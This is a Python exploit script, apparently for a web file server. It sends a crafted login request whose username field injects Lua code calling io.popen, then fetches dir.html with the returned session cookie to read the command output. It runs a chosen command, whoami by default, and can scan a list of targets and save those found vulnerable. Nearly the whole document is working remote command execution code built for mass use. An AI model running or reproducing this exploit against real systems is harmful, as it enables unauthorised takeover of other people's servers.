1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
|
import requests
import re
import argparse
# ANSI颜色代码
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"
def print_green(text):
print(f"{GREEN}{text}{RESET}")
def print_red(text):
print(f"{RED}{text}{RESET}")
def run_exploit(target_url, command, username="anonymous", verbose=False):
login_url = f"{target_url}/loginok.html"
login_headers = {
"Host": target_url.split('//')[1].split('/')[0],
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": target_url,
"Connection": "keep-alive",
"Referer": f"{target_url}/login.html?lang=english",
"Cookie": "client_lang=english",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
from urllib.parse import quote
encoded_username = quote(username)
payload = (
f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
"%0dh%3aclose()%0dprint(r)%0d--&password="
)
if verbose:
print_green(f"[+] 向 {login_url} 发送POST请求,命令: '{command}',用户名: '{username}'")
try:
login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
login_response.raise_for_status()
except requests.exceptions.RequestException as e:
print_red(f"[-] 发送POST请求到 {login_url} 错误: {e}")
return False
set_cookie = login_response.headers.get("Set-Cookie", "")
match = re.search(r'UID=([^;]+)', set_cookie)
if not match:
print_red("[-] 在Set-Cookie中未找到UID,漏洞利用可能失败或响应格式已改变")
return False
uid = match.group(1)
if verbose:
print_green(f"[+] 提取的UID: {uid}")
dir_url = f"{target_url}/dir.html"
dir_headers = {
"Host": login_headers["Host"],
"User-Agent": login_headers["User-Agent"],
"Accept": login_headers["Accept"],
"Accept-Language": login_headers["Accept-Language"],
"Accept-Encoding": login_headers["Accept-Encoding"],
"Connection": "keep-alive",
"Cookie": f"UID={uid}",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
if verbose:
print_green(f"[+] 向 {dir_url} 发送GET请求,UID: {uid}")
try:
dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
dir_response.raise_for_status()
except requests.exceptions.RequestException as e:
print_red(f"[-] 发送GET请求到 {dir_url} 错误: {e}")
return False
body = dir_response.text
clean_output = re.split(r'<\?xml', body)[0].strip()
if verbose:
print_green("\n--- 命令输出 ---")
print(clean_output)
print_green("----------------")
else:
if clean_output:
print_green(f"[+] {target_url} 存在漏洞!")
else:
print_red(f"[-] {target_url} 不存在漏洞")
return bool(clean_output)
def main():
parser = argparse.ArgumentParser(description="通过login.html实现命令注入的漏洞利用脚本")
parser.add_argument("-u", "--url", type=str,
help="目标URL(如 http://192.168.134.130)。如果未指定-f则必须指定")
parser.add_argument("-f", "--file", type=str,
help="包含目标URL列表的文件(每行一个)")
parser.add_argument("-c", "--command", type=str,
help="要执行的自定义命令。默认: whoami。如果指定,将自动启用详细输出")
parser.add_argument("-v", "--verbose", action="store_true",
help="显示完整命令输出(详细模式)。如果使用-c则忽略,因为会自动启用详细模式")
parser.add_argument("-o", "--output", type=str,
help="保存存在漏洞URL的文件")
parser.add_argument("-U", "--username", type=str, default="anonymous",
help="漏洞利用中使用的用户名。默认: anonymous")
args = parser.parse_args()
if not args.url and not args.file:
parser.error("必须指定-u/--url或-f/--file")
command_to_use = args.command if args.command else "whoami"
verbose_mode = True if args.command else args.verbose
vulnerable_sites = []
targets = []
if args.file:
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except Exception as e:
print_red(f"[-] 无法读取目标文件 '{args.file}': {e}")
return
else:
targets = [args.url]
for target in targets:
print(f"\n[*] 正在测试目标: {target}")
is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
if is_vulnerable:
vulnerable_sites.append(target)
if args.output and vulnerable_sites:
try:
with open(args.output, 'w') as out_file:
for site in vulnerable_sites:
out_file.write(site + "\n")
print_green(f"\n[+] 存在漏洞的站点已保存到: {args.output}")
except Exception as e:
print_red(f"[-] 无法写入输出文件 '{args.output}': {e}")
if __name__ == "__main__":
main()
|